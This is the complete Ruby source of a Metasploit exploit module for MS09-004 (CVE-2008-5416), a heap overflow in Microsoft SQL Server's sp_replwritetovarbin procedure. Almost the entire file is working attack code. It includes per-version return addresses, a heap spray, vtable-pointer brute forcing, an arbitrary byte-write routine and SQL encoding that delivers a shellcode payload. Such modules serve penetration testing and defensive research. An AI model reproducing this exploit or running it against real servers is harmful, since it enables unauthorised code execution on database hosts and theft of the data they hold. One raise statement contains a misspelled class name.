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##
# $Id: ms09_004_sp_replwritetovarbin.rb 8068 2010-01-05 00:02:15Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
'Description' => %q{
A heap-based buffer overflow can occur when calling the undocumented
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
This exploit smashes several pointers, as shown below.
1. pointer to a 32-bit value that is set to 0
2. pointer to a 32-bit value that is set to a length influcenced by the buffer
length.
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
this value is referenced with a displacement of 0x38. For MSSQL 2005, the
displacement is 0x10. The address of our buffer is conveniently stored in
ecx when this instruction is executed.
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
a displacement of 4. This pointer is not used by this exploit.
There are two different methods used by this exploit, which have been named
"writeNcall" and "sprayNbrute".
The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers
2 and 3, as well as a writeable address. This method is quite reliable. However,
it relies on the the operation on pointer 2. Newer versions of SQL server
(>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a
restriction that the code address that leads to the payload (jmp ecx in this
case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such
addresses were found in memory.
For this reason, the second method, "sprayNbrute" is used. First a heap-spray
is used to prime memory with lots of copies of the address of our code that
leads to the payload (jmp ecx). Next, brute force is used to try to guess a
value for pointer 3 that points to the sprayed data.
A new method of spraying the heap inside MSSQL is presented. Sadly, it only
allows the creation of a bunch of 8000 byte buffers.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8068
,
'References' =>
[
[ 'OSVDB', '50589' ],
[ 'CVE', '2008-5416' ],
[ 'BID', '32710' ],
[ 'MSB', 'MS09-004' ],
[ 'URL', 'http://www.milw0rm.com/exploits/7501' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "", # nul bytes are ok!
'StackAdjustment' => -3500,
'DisableNops' => true
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
# auto targeting!
[ 'Automatic', { } ],
#
# Individual targets
#
[
# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
# Aug 6 2000 00:57:48
'MSSQL 2000 / MSDE SP0 (8.00.194)',
{
'Method' => 'writeNcall',
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base)
},
],
[
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
# Dec 17 2002 14:22:05
'MSSQL 2000 / MSDE SP3 (8.00.760)',
{
'Method' => 'sprayNbrute',
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3)
},
],
[
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
# May 3 2005 23:18:38
'MSSQL 2000 / MSDE SP4 (8.00.2039)',
{
'Method' => 'sprayNbrute',
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)
#'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)
#'Vtable' => 0x42c300c8, # ugh!
'Ret' => 0x42b0be10 # jmp ecx in sqlsort.dll (2000 sp4)
#'Ret' => 0x773d115b # jmp ecx in activeds.dll (2000 sp4 on 2000)
#'Ret' => 0x7ca7dc96 # push ecx|pop esp|pop ebp|retn 8 - in shell32 on 2k3sp2
},
],
[
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
# Oct 14 2005 00:33:37
'MSSQL 2005 (9.00.1399.06)',
{
'Method' => 'sprayNbrute',
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)
'Vtable' => 0x05413090, # becomes edx for [edx+0x10] or [edx+4] (must be valid to exec)
'Ret' => 0x49a9835f # jmp ecx ?
},
],
[
# debugging...
'CRASHER',
{
'Method' => 'sprayNbrute',
'Writable' => 0xcafebabe,
'Vtable' => 0xfeedfed5,
'Ret' => 0xdeadbeef
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2008'
))
end
def check
# the ping to port 1434 method has two drawbacks...
# #1, it doesn't work on mssql 2005 or newer (localhost only listening)
# #2, it doesn't give an accurate version number (sp/os)
# since we need to have credentials for this vuln, we just login and run a query
# to get the version information
version = mssql_query_version
if not version
return Exploit::CheckCode::Detected
end
print_status("@@version returned:\n\t" + version)
# TODO: add more versions
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
return Exploit::CheckCode::Safe
end
def exploit
mytarget = nil
if target.name =~ /Automatic/
print_status("Attempting automatic target detection...")
version = mssql_query_version
raise RuntimError, "Unable to get version!" if not version
if (version =~ /8\.00\.194/)
mytarget = targets[1]
elsif (version =~ /8\.00\.760/)
mytarget = targets[2]
elsif (version =~ /8\.00\.2039/)
mytarget = targets[3]
elsif (version =~ /9\.00\./)
mytarget = targets[4]
end
if mytarget.nil?
raise RuntimeError, "Unable to automatically detect the target"
else
print_status("Automatically detected target \"#{mytarget.name}\"")
end
else
mytarget = target
end
if mytarget['Method'] == 'sprayNbrute'
exploit_spray_and_brute(mytarget)
elsif mytarget['Method'] == 'writeNcall'
exploit_write_and_call(mytarget)
else
raise RuntimeError, "Invalid exploitation method specified."
end
end
# prepare a known address pointing to jmp ecx!
def exploit_write_and_call(mytarget)
# write the 4 bytes..
packed_ret = [mytarget['Ret']].pack('V')
x = 0
packed_ret.unpack('C*').each do |byte|
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
addr = mytarget['Writable'] + x
# write a single byte value to an arbitrary address (using this vuln)
print_status("Writing 0x%02x to %#x ..." % [byte, addr])
num = 16
sz = num + 179
buf = rand_text_alphanumeric(sz)
# this corresponds to mov [eax+4], ecx
buf << [addr - 4].pack('V')
# this causes a length value to have the lsb of our byte
len = 0x169
if (len & 0xff) < byte
len = byte - (len & 0xff)
else
len = (0x200 - len) + byte
end
extra = rand_text_alphanumeric(len)
write_byte_sql = %Q|declare @e int,@b varbinary,@l int;exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,'%STUFF%','','','','','','','','','%EXTRA%'|
buf = mssql_encode_string(buf)
sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra)
begin
ret = mssql_query(sql, false)
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
x += 1
end
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
# call to ecx via the ptr we wrote
print_status("Triggering the call to our faked vtable ptr @ %#x" % mytarget['Writable'])
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
set @buf='declare @e int,@b varbinary,@l int;'
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
exec master..sp_executesql @buf
|
# make sploit buff
num = 16
sz = num + 179
sploit = make_nops(sz-2)
sploit << "\xeb\x04"
sploit << [mytarget['Writable'] + 8].pack('V')
sploit << payload.encoded
sploit[3,4] = [mytarget['Writable']-0x38].pack('V')
# encode chars that get modified
enc = mssql_encode_string(sploit)
sql = sqlquery.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, enc)
ret = mssql_query(sql)
handler
disconnect
end
def exploit_spray_and_brute(mytarget)
brute_count = 1000
brute_step = 4096
spray = true
spray = false if mytarget.opts.has_key?('nospray')
if spray
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret'])
# spray the heap! (count of 'max' blocks of 8000 bytes...)
query2 = "declare @s varchar(8000);set @s='%MARKER%'+REPLICATE(%ADDR%, (8000/4)-3)+'%MARKER%'+%ADDR%;select @s"
query = %Q|declare @s nvarchar(4000);set @s='%QUERY2%';exec master..sp_executesql @s|
addr = mssql_str_to_chars([mytarget['Ret']].pack('V'))
=begin
search_cmd = "s -b 0 L?-1 41 41"
search_cmd << Rex::Text.to_hex([mytarget['Ret']].pack('V'), ' ')
print_status("search command: " + search_cmd)
=end
max = 1000
part = max / 10
part = 1 if part < 1
max.times do |x|
print_status("Spraying ... %d / %d" % [x,max]) if ((x % part)==0)
marker = [0x41414141 + x].pack('V')
q2run = query2.gsub(/%MARKER%/, marker)
q2run.gsub!(/%ADDR%/, addr)
q2run.gsub!(/\'/, "\'\'")
runme = query.gsub(/%QUERY2%/, q2run)
break if not mssql_query(runme)
end
disconnect
end
sqlquery = %Q|declare @i int,@buf nvarchar(4000)
set @buf='declare @e int,@b varbinary,@l int;'
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''
exec master..sp_executesql @buf
|
# trigger the memory corruption
brute_count.times do |x|
vtable = mytarget['Vtable'] + (x * brute_step)
# make sploit buff
num = 16
sz = num + 179
sploit = make_nops(sz-2)
#sploit = "\x90" * (sz-2)
sploit << "\xeb\x04"
sploit << [mytarget['Writable'] + 8].pack('V')
sploit << payload.encoded
# mssql 2000 vtable ptr smashed!
sploit[num-13,4] = [vtable-0x38].pack('V')
# mssql 2005 stuff:
# the vtable is deref'd twice here
# - first time ecx points at our buffer and the offset is 0x10
# - second time esp+8 points to our buffer and the offset is 0x04
sploit[num+63,4] = [vtable-0x10].pack('V')
#sploit[num+407,4] = [vtable-0x4].pack('V')
# encode chars that get modified
enc = mssql_encode_string(sploit)
# put the number in (start offset)
runme = sqlquery.gsub(/%NUM%/, num.to_s)
runme.gsub!(/%STUFF%/, enc)
print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable)
# go!
if (not mssql_login_datastore)
raise RuntimeError, "Unable to log in!"
end
begin
mssql_query(runme)
rescue ::Errno::ECONNRESET, EOFError
print_error("Error: #{$!}")
end
handler
break if session_created?
disconnect
end
end
def mssql_str_to_chars(str)
ret = ""
str.unpack('C*').each do |ch|
ret += "+" if ret.length > 0
ret += "char("
ret << ch.to_s
ret += ")"
end
return ret
end
def mssql_encode_string(str)
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
enc = ""
in_str = true
str.unpack('C*').each do |ch|
# double-double single quotes
if ch == 0x27
if not in_str
enc << "+'"
in_str = true
end
enc << ch.chr * 4
next
end
# double backslashes
if ch == 0x5c
if not in_str
enc << "+'"
in_str = true
end
enc << ch.chr * 2
next
end
# convert any bad stuff to char(0xXX)
if ((idx = badchars.index(ch.chr)))
enc << "'" if in_str
enc << "+char(0x%x)" % ch
in_str = false
else
enc << "+'" if not in_str
enc << ch.chr
in_str = true
end
end
enc << "+'" if not in_str
return enc
end
def mssql_query_version
if (not mssql_login_datastore)
raise RuntimeError, "Invalid SQL Server credentials"
end
res = mssql_query("select @@version")
disconnect
return nil if not res
if res[:errors] and not res[:errors].empty?
errstr = ""
res[:errors].each do |err|
errstr << err
end
raise RuntimeError, errstr
end
if not res[:rows] or res[:rows].empty?
return nil
end
return res[:rows][0][0]
end
end
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